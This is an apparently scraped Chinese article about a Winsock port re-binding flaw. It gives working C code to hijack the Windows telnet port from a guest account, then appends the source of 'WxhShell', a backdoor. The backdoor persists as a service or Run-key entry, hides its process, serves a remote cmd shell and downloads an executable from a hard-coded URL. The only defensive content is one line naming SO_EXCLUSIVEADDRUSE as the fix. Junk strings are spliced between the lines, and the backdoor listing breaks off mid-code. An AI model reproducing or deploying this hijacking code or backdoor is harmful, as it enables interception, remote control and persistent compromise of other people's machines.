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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1a{r1([) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EXVZ?NG s[0` saddr.sin_family = AF_INET; o&%v"#H2 D0 p*Sg saddr.sin_addr.s_addr = htonl(INADDR_ANY); wv{ Qx^ (iir,Ks2C bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k"&o)*d TK\3mrEI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;]=w6'dP! [F+W]Jk, 这意味着什么?意味着可以进行如下的攻击: Zc1x"j d:K\W[$Bz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F.$z7ee@ .06D_L"M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mWaij]1> )< G(C,!,. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?=&S?p)-< vFR*3$R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9N9&y^SmD |3,WiK=' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IV. })8 #c@&mus 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9_:"`)]3B r@zT!.sc! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #vV]nI<MF. _(h=@cv #include A[;deHg= #include 5qQMGN$K #include vQi=13Pw #include N?vb^? DWORD WINAPI ClientThread(LPVOID lpParam); 5<ruN11G int main() k B]`py! { Y#68_%[ WORD wVersionRequested; ?cRF;!o" DWORD ret; >bZ-mX)j\0 WSADATA wsaData; Ei @ BOOL val; MBA?, |9Q# SOCKADDR_IN saddr; 5>f" SOCKADDR_IN scaddr; ZJBb%d1; int err; tjXg SOCKET s; ktTP~7UVi SOCKET sc; xE?KJ int caddsize; zs#-E_^%M HANDLE mt; +X^GS^mz DWORD tid; W$zRUG- wVersionRequested = MAKEWORD( 2, 2 ); ~bb6NP;'L err = WSAStartup( wVersionRequested, &wsaData ); P5_Ajb(@' if ( err != 0 ) { BkXv4|UE printf("error!WSAStartup failed!\n"); J Ah!#S( return -1; ;Y*K!iFWH } ^w1+b;) saddr.sin_family = AF_INET; \]Ah=` S^pb9~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /)_4QSz7 08nh y[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Wds>'zzS saddr.sin_port = htons(23); c 1F^Gj!8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K& ^qn& { 'M"z3j]m-, printf("error!socket failed!\n"); St%x\[D return -1; +-|""`I1I } ^ul1{ val = TRUE; 0@"'SKq //SO_REUSEADDR选项就是可以实现端口重绑定的 )Ac,F6w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +S(# 7 { Zwc&4:5% printf("error!setsockopt failed!\n"); ?; W"=I*3 return -1; o[!o+M } YTefEG]|q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; # `E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }?Y -I>
w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iptA#<Yj L!Y|`P#Yr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Opu*i { M,H8ZO:R ret=GetLastError(); *P*~CHx> printf("error!bind failed!\n"); ESV./~K return -1; Pt5 wm\ } pwfQqPC#_ listen(s,2); }5vKQf while(1) *J[P#y { a[~[lk=7 caddsize = sizeof(scaddr); GCN-T1HvA2 //接受连接请求 Vp]7n!g4l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +-'F]?DN' if(sc!=INVALID_SOCKET) cwzkA,e@ { n>.@@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7Fo^:" if(mt==NULL) j.Uy>ol { \ 2y/: printf("Thread Creat Failed!\n"); ,V9qiu=m
break; Jl\xE`-7 } X2Ak } #VX]trh, CloseHandle(mt); wd*B3 } jV*10kM< closesocket(s); 9y6u&!PZ\ WSACleanup(); L D[\eJ_ return 0; _)5E= } 45.ks. DWORD WINAPI ClientThread(LPVOID lpParam) /Kli C\ { OoA!N-Q SOCKET ss = (SOCKET)lpParam; K@1gK<,a SOCKET sc; S&UP;oc unsigned char buf[4096]; e5bXgmyil SOCKADDR_IN saddr; g]&fyB# long num; 5"nq
h}5 DWORD val; jnp~ACN, DWORD ret; W'vek uM //如果是隐藏端口应用的话,可以在此处加一些判断 $||WI}k3V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ~>>_`;B saddr.sin_family = AF_INET; y p{Dl saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6t; ;Fz saddr.sin_port = htons(23); X:Z3R0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p)B/(% { J(#6Cld`c printf("error!socket failed!\n"); G;cC!x< return -1; O"~[njwkE } n)5t! val = 100; tdRvg7v,N% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L3I$ K+c { %l&oRBC ret = GetLastError(); k5-4^ return -1; JR`$t~0t } xwD` R* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F?2UHcs { 0a:oC(Ak
ret = GetLastError(); `:3nF' return -1; "G>d8GbIh } {ax]t-ZwJ5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r*b+kSh { Fvk=6$d2 printf("error!socket connect failed!\n"); %|H]T]s closesocket(sc); O
MQ?*^eA closesocket(ss); )=GPhC/sw return -1; #^VZJ:2=| } hGD@v{/ while(1) o
A2oX { MUl7o@{' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e]1'D //如果是嗅探内容的话,可以再此处进行内容分析和记录 o7E|wS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P,pC Z+H num = recv(ss,buf,4096,0); Rnwm6nu if(num>0) (Nc~l ^a send(sc,buf,num,0); 5XX)8gAo else if(num==0) P0>2}/;o break; L,A+" num = recv(sc,buf,4096,0); -'qVnu if(num>0) J(}PvkA send(ss,buf,num,0); i;{lY1 else if(num==0) '/qy_7O break; d%k7n+ICQ4 } LGuZp?" closesocket(ss); }h Wv
p closesocket(sc); $Z)u04;&@ return 0 ; +r"}@8/\1 } b|.Cqsb $$ *tK8# u_NLgM7* ========================================================== KJyCfMH&:@ U:8]G 下边附上一个代码,,WXhSHELL z0LspRaz vW eg1 ========================================================== =cV|o] mmJnE #include "stdafx.h" %2dzx[s RdD>&D$I #include <stdio.h> `,SL\\%u #include <string.h> ,*W~M&n"m #include <windows.h> RN 4?]8 #include <winsock2.h> *_I`{9~' #include <winsvc.h> %`k [xz #include <urlmon.h> P`@Rt ] :LlOv$ #pragma comment (lib, "Ws2_32.lib") U%bm{oVn #pragma comment (lib, "urlmon.lib") z<9C- 8>WA5:]v #define MAX_USER 100 // 最大客户端连接数 5QK%BiDlr #define BUF_SOCK 200 // sock buffer yfV]f
LZ #define KEY_BUFF 255 // 输入 buffer V/H+9+B7Im >m lQ@Z_O #define REBOOT 0 // 重启 'dBe,@ #define SHUTDOWN 1 // 关机
^cw9Yjh6 Ojz'p5d`> #define DEF_PORT 5000 // 监听端口 3m75mny vrb@::sy0T #define REG_LEN 16 // 注册表键长度 v\|jkzR5Y #define SVC_LEN 80 // NT服务名长度 `w#VYs|k TO89;O // 从dll定义API \{ | GK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D+:s{IcL< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ./;uhj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #z >I =gl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k%gj \E,2VM@6 // wxhshell配置信息 -V;Y4,:c struct WSCFG { n.c0G` int ws_port; // 监听端口 qdZ ^D char ws_passstr[REG_LEN]; // 口令 er24}G8 int ws_autoins; // 安装标记, 1=yes 0=no Q/3*65 char ws_regname[REG_LEN]; // 注册表键名 \:Tq0|]Px char ws_svcname[REG_LEN]; // 服务名 %XN;S29d5W char ws_svcdisp[SVC_LEN]; // 服务显示名 -4+'(3qr char ws_svcdesc[SVC_LEN]; // 服务描述信息 'kj
q C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ds+K7B$ int ws_downexe; // 下载执行标记, 1=yes 0=no V0{#q/q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Drtg7v{@\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @`
Pn<_L wxcJ2T d H }; Czw]5 cO{NiRIb // default Wxhshell configuration lz>00B<Z struct WSCFG wscfg={DEF_PORT, d+)L K~ "xuhuanlingzhe", `:7r5}(^ 1, 3<<wHK;) "Wxhshell", RQWUO^&e^ "Wxhshell", {M:/HQo "WxhShell Service", _Zav Y<6 "Wrsky Windows CmdShell Service", tH;9"z#
~ "Please Input Your Password: ", p/_W*0/i 1, 1J1Jp|j. " http://www.wrsky.com/wxhshell.exe", V0m1>{ "Wxhshell.exe" 2|\mBP`ok }; !]s=9(O <<S4l~"o // 消息定义模块 eD7\ ,}O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KL?<lp" char *msg_ws_prompt="\n\r? for help\n\r#>"; |0Fo{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8*&-u +@% char *msg_ws_ext="\n\rExit."; B /3~[ ' char *msg_ws_end="\n\rQuit."; }N-UlL( char *msg_ws_boot="\n\rReboot..."; XelFGT E char *msg_ws_poff="\n\rShutdown..."; ynra%"sd char *msg_ws_down="\n\rSave to "; {(-923|, z^gz kXx7 char *msg_ws_err="\n\rErr!"; j,].88H char *msg_ws_ok="\n\rOK!"; %LC)sSq{H 4N=,9 char ExeFile[MAX_PATH]; wT+60X' int nUser = 0; hb~d4J=S HANDLE handles[MAX_USER]; =CFg~8W int OsIsNt; *g}==o` OO/>}? ob SERVICE_STATUS serviceStatus; zx"EAF{ SERVICE_STATUS_HANDLE hServiceStatusHandle; Bi fI.2| D_<B^3w) // 函数声明 JfJ ln[ int Install(void); (421$w,B% int Uninstall(void); "fNv(> -7s int DownloadFile(char *sURL, SOCKET wsh); jS3@Z?x?* int Boot(int flag); o/
\o-kC} void HideProc(void); 6flO;d/v int GetOsVer(void); B YB9M int Wxhshell(SOCKET wsl); Ap\]v2G void TalkWithClient(void *cs); 3@eI? (N int CmdShell(SOCKET sock); ~7}no}7 int StartFromService(void); sR PQr? int StartWxhshell(LPSTR lpCmdLine); _d~GY,WTdO |:(B I5&S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k(>J?\iNW VOID WINAPI NTServiceHandler( DWORD fdwControl ); PNLlJlYlP :.H@tBi*E // 数据结构和表定义 YVRE9 SERVICE_TABLE_ENTRY DispatchTable[] = _`QME r? { /:A239=+ ? {wscfg.ws_svcname, NTServiceMain}, E.$//P n|1 {NULL, NULL} oKSW:A }; $(J)F-DB i wAR:GO'n // 自我安装 .wm<l: int Install(void) ZPM7R3%V)z { T06w`'aL char svExeFile[MAX_PATH]; <5]_u: HKEY key; 4mBM5Tv strcpy(svExeFile,ExeFile); UlN}SddI9 /Y\q&} // 如果是win9x系统,修改注册表设为自启动 -{eiV0<^ if(!OsIsNt) { 7 je1vNs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /s)It RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )`5-rm~* RegCloseKey(key); D//58z& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O{]}{Ss RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4byh,t RegCloseKey(key); w\t return 0; .*FlB>1jy } /%?bO- } >)+U^V } .
VI
# else { 6*ZZ)W< Tig6<t+Q // 如果是NT以上系统,安装为系统服务 ,,9vk \ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %u|Qh/?7 if (schSCManager!=0) QIN# \ { #2.C$ SC_HANDLE schService = CreateService N/^[c+J[E ( l%2B4d9"v schSCManager, 1d.>?^uE wscfg.ws_svcname, wL0"1Ya wscfg.ws_svcdisp, kgmb<4p SERVICE_ALL_ACCESS, jS/$o ? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U/(R_U>= SERVICE_AUTO_START, yCg>]6B SERVICE_ERROR_NORMAL, H<b4B$/ svExeFile, 4f0dc\$ NULL, GEb)nHQq NULL, |("5 :m NULL, yNx"Ey dk` NULL, XnvaT(k7Y NULL 8{Svax( ); I#p-P)Q%S if (schService!=0) )./'RE+(k { A,ao2) CloseServiceHandle(schService); Q([g1?F9* CloseServiceHandle(schSCManager); v#IZSBvuQK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ox/va]e7" strcat(svExeFile,wscfg.ws_svcname); }Ty_} 6a5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Qj`_q6= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P#Ikj&l RegCloseKey(key); s3T 6"%S` return 0; \@n/L{}(@ } e''Wm.>g(+ } ' :]w CloseServiceHandle(schSCManager); w@f_TG"Vt } zjJyc? } WUi7~Ei} %}&9[# return 1; L'h'm{i } {la^useg[ 2I39fZa // 自我卸载 ?Z7C0u#wd int Uninstall(void) d}415 XA { *JOv HKEY key; g(;ejKSR |b7>kM}" if(!OsIsNt) { {k~$\J?. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 17qrBG-/MD RegDeleteValue(key,wscfg.ws_regname); ck<4_?1] RegCloseKey(key); oq<# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q+G1#5 RegDeleteValue(key,wscfg.ws_regname); vqxTf)ys RegCloseKey(key);
n#]G!7 return 0; -)<Nd:A } !8s:3] } khu,P[3> } !p9F'7;Y< else { @fYA{-ZC +l3
vIN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QU4'x4YS if (schSCManager!=0) #6m//0 u { C"mb-n7s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KoXXNJax if (schService!=0) J<zg 'Jk^ { 4Y/!V[ if(DeleteService(schService)!=0) { {k]VT4/ CloseServiceHandle(schService); `RzM)ILl CloseServiceHandle(schSCManager); =XS'V* return 0; wYawG$@_ } p9sxA|O=y
CloseServiceHandle(schService); 4-n.4j| } bKaV]Uy CloseServiceHandle(schSCManager); SO&;]YO } 9_/1TjrDN } U&a]gkr ^e 6(#SqR return 1; f!Ie } t[
MRyi)LF ?^+|V,< // 从指定url下载文件 q
B2#EsZ int DownloadFile(char *sURL, SOCKET wsh) 1Q$ M/} { MR6vr.~ HRESULT hr; JuI,wA char seps[]= "/"; e)bqE^JP char *token; tE>:kx0*3 char *file; J8D-a! char myURL[MAX_PATH]; MU^Z*r char myFILE[MAX_PATH]; wIiT
:o V)Xcn'h strcpy(myURL,sURL); zj)[Sntn? token=strtok(myURL,seps); DpR%s",Q while(token!=NULL) i!nl%% { %?$"oWmenS file=token; Te/)[I'Tn token=strtok(NULL,seps); Y+7v~/K= } Q'Tn+}B& /][U$Q;Ke GetCurrentDirectory(MAX_PATH,myFILE); ljCgIfZ_4 strcat(myFILE, "\\"); w/<hyEpxg strcat(myFILE, file); n#fg7d% send(wsh,myFILE,strlen(myFILE),0); A|+{x4s` send(wsh,"...",3,0); 8YJ({ Ou_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y#5S;?bR if(hr==S_OK) ]_,~q@r$ return 0; *]=)mM# else mnia>;
0H return 1; ,5*4%*n\ j?(QieBH } fe$WR~ BMW4E 5 // 系统电源模块 <.2Z{;z int Boot(int flag) RinRQd { btE+.V HANDLE hToken; / u{r5`4
TOKEN_PRIVILEGES tkp; M>#{~zr v]!7=>/2 if(OsIsNt) { J5"*OH:f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *$1)&2i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *%e#)sn* tkp.PrivilegeCount = 1; -d~'tti tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5*r6#[S\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~eP2PG if(flag==REBOOT) { ;D7jE+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A!~o?ej return 0; ^pP
14y*go } YGO@X(ej, else { 5W48z%MN
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fYi!Z/Ck2 return 0; )qIK7; } hd B[H8Q } )Fw)&5B! else { y()( 8L if(flag==REBOOT) { uI[*uAR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )em.KbsPPF return 0; '9gI=/29D } 9lxT5Wg else { .%A2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \v_C7R;& return 0; GdU
W$. } >>r:L3 <! } *Y ZLQT P.:T
zk6 return 1; 6>I.*Qt \l } K/-D 5U As`^Ku& // win9x进程隐藏模块 O#\>j void HideProc(void) =.c"&,c?L { ~e<<aTwN v2'JL(= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &?nF';& if ( hKernel != NULL ) h(-&.Sm")H { Q/9b'^UJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [}p.*U_nw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @gc"-V*-/ FreeLibrary(hKernel); +q$|6? } p rgjU 3@L%#]xwi return; Cs{f'I } ULjzhy+(8 !Xi>{nV // 获取操作系统版本 d#Ajb int GetOsVer(void) ]N_^{k, { 8.':pY'8" OSVERSIONINFO winfo; C.-a:oQ[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ Zr,- GetVersionEx(&winfo); ise}> A!t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,0bM*qob return 1; MVdx5,t else t,,^^ll return 0; v"+EBfx } CdO-xL6F `uHpj`EU // 客户端句柄模块 G
m! ]
int Wxhshell(SOCKET wsl) Tt|6N*b' { *
U4:K@y SOCKET wsh; }o-P struct sockaddr_in client; G65N: DWORD myID; D$E9%'ir `t&;Yk]-L while(nUser<MAX_USER) C5UDez { _4$DnQ6& int nSize=sizeof(client); {6sfa?1j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fr3t[:D if(wsh==INVALID_SOCKET) return 1; x[" 17oxD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ($>0&w if(handles[nUser]==0) ;7k7/f: closesocket(wsh); >>zoG3H! else KCE-6T nUser++; dAl<'~g } ':]a.yA\1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N-E`go Vz]=J;`Mz return 0; {2r7:nvR } P*Sip?tdE z_@zMLs // 关闭 socket FaE orQ void CloseIt(SOCKET wsh) g"S+V#R { d
A{Jk closesocket(wsh); [uQZD1<q nUser--; NfF:[qwh ExitThread(0); @0,dyg<$> }
a|uZJ* f"N3;,Oc // 客户端请求句柄 {PtTPz void TalkWithClient(void *cs) 8 {%9%{ { L"%eQHEC& z
5+]Z a~ SOCKET wsh=(SOCKET)cs; +lJ]-U|P char pwd[SVC_LEN]; 8T
)ELhTj char cmd[KEY_BUFF]; JSK5x(GlH char chr[1]; -U[`pUY?f int i,j;
Fjt, agT[y/gb while (nUser < MAX_USER) { e~]e9-L>I }yDq\5s
Q[ if(wscfg.ws_passstr) { v:1Vli. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9mphj)`d;# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEHfsR=D6 //ZeroMemory(pwd,KEY_BUFF); ArzsZ<\// i=0; 9?chCO(@ while(i<SVC_LEN) { .MARF _4B iF?1 // 设置超时 n@[</E( fd_set FdRead; .BDRD~kB struct timeval TimeOut; TJS1,3< FD_ZERO(&FdRead); \ZWmef FD_SET(wsh,&FdRead); _J~ta. TimeOut.tv_sec=8; ik0Q^^1?Y TimeOut.tv_usec=0; n4T2'e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p+UHJ& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <JM%Kn ) ^Jl!WH=20} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -01 1U! pwd =chr[0]; L$c%u if(chr[0]==0xd || chr[0]==0xa) { )Q/`o,Vm pwd=0; EiP&Y,vT break; (A fbS=[ } '4lT*KN7\ i++; wf<`J/7u } fUKdC\WL LY:?OGh // 如果是非法用户,关闭 socket ?mfWm{QTt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!Mzr1: } ,xe@G)a %aE7id>v6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (`.qG
&6p send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m3Z}eC8LK #r^@*<{^ while(1) {
)k] !u ?WtG|w ZeroMemory(cmd,KEY_BUFF); [piF MxZP A+1]Ql)$ // 自动支持客户端 telnet标准 @TPgA(5NR j=0; _6S
b.9m while(j<KEY_BUFF) { #0<y0uJ(y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '7LJuMp$# cmd[j]=chr[0]; K-k.=6mS if(chr[0]==0xa || chr[0]==0xd) { ],}afa!A cmd[j]=0; wt=>{JM break; E(3+o\w } &G|jzXE j++; Vt)\[Tl~ } 5OW8G][ b|8>eY // 下载文件 ,#jhKnk2e if(strstr(cmd,"http://")) { +9
p`D send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2|H91Y2 if(DownloadFile(cmd,wsh)) 2DCcGKa" send(wsh,msg_ws_err,strlen(msg_ws_err),0); X)iWb(@k"7 else -,fa{ yt- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dIfs8%kl } t6g)3F7 T else { +V+*7s%fL G<^]0`"+)t switch(cmd[0]) { .m]=JC5' EfBVu // 帮助 CX ]\Q-y case '?': { JGO$4DK-1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :CkR4J!m3 break; YK?*7 } Bpm5dT; // 安装 ZYA.1VrM case 'i': { m!#)JFe67 if(Install()) B`?N0t%X send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,7fc41O3V else A{8K#@! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d7_ g
u break; ~
S?-{X+ } IzGB // 卸载 dp[w?AMhM9 case 'r': { ^`jZKh8)h if(Uninstall()) >\?z37:T send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Hf0Qx6 else g<rKV+$6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >: W-C{% break; Nr]8P/[~ } yA?ENAM // 显示 wxhshell 所在路径 I>kiah* case 'p': { 3m43nJ.~ char svExeFile[MAX_PATH]; RhV:Z3f`6 strcpy(svExeFile,"\n\r"); KYkS6|A strcat(svExeFile,ExeFile); Q9yGQu send(wsh,svExeFile,strlen(svExeFile),0); 1(%>`=R8 break; 0tW<LR-}E } ,XeyE;|| // 重启 %l8*t$8 case 'b': { { p!_-sL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L8bI0a]r"* if(Boot(REBOOT)) 0HHui7Yy> send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8NaL{j1` else { j Ne(w<',P closesocket(wsh); %Le :wC ExitThread(0); |-(IJG#) } d`9W break; Q5p+ W } q:Y6fbt<7 // 关机 $Wr\[P: case 'd': { ySwYV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cS D._"P if(Boot(SHUTDOWN)) 4#^'lKIx send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1.J5>/n else { 9^ >M>f" closesocket(wsh); :M22P`: ExitThread(0); SUH mBo"} } o~v_PD[S break; :W.jNV{e\F } 0T9@,scY // 获取shell [F/^J|VMV case 's': { ;dqk@@O"( CmdShell(wsh); J Q)4}t closesocket(wsh); JkSdLj ExitThread(0); Si?$\H*: break; 0PnD|]9: } $nB-ADRu@ // 退出 !;o\5x<'$O case 'x': { 24T@N~\g send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xab]q$n]k CloseIt(wsh); 87QZun% break; ="uKWt6n' } I?_E,.)[ I // 离开 eecw]P_? case 'q': { CY*ngi & send(wsh,msg_ws_end,strlen(msg_ws_end),0); EKZ$Q4YE closesocket(wsh); s<A*[ WSACleanup(); 8G 0 exit(1); DE*MdfP0 break; *0%4l_i } )n\*ht7 } SU?wFCGT% } gw_|C|!P p=!#],[ // 提示信息 `9.dgV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I2TD.wuIW } 1<xcMn0et } KxO/] )46
0Ed return; ;yF[2P ; } 0o=!j3RjH cu[!D}tVU // shell模块句柄 Eo%UuSi int CmdShell(SOCKET sock) +yzcx3< { Tr}R`6d$ STARTUPINFO si;
MKU7fFN. ZeroMemory(&si,sizeof(si)); cyW;,uT)D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'oleB_B si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B|cA[ PROCESS_INFORMATION ProcessInfo; \Ut6; char cmdline[]="cmd"; wA?@v|,dZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nIf N" return 0; 'UY[ap } ]EB6+x!G 12 idM* // 自身启动模式 '@'B>7C# int StartFromService(void) 7t'(`A6t/ { n
vm^k typedef struct mO#I nTO { ]#F q>E DWORD ExitStatus; %$Aqbd DWORD PebBaseAddress; t,RyeS/ DWORD AffinityMask; sz'p3 DWORD BasePriority; q1 H=/[a ULONG UniqueProcessId; 53B.2
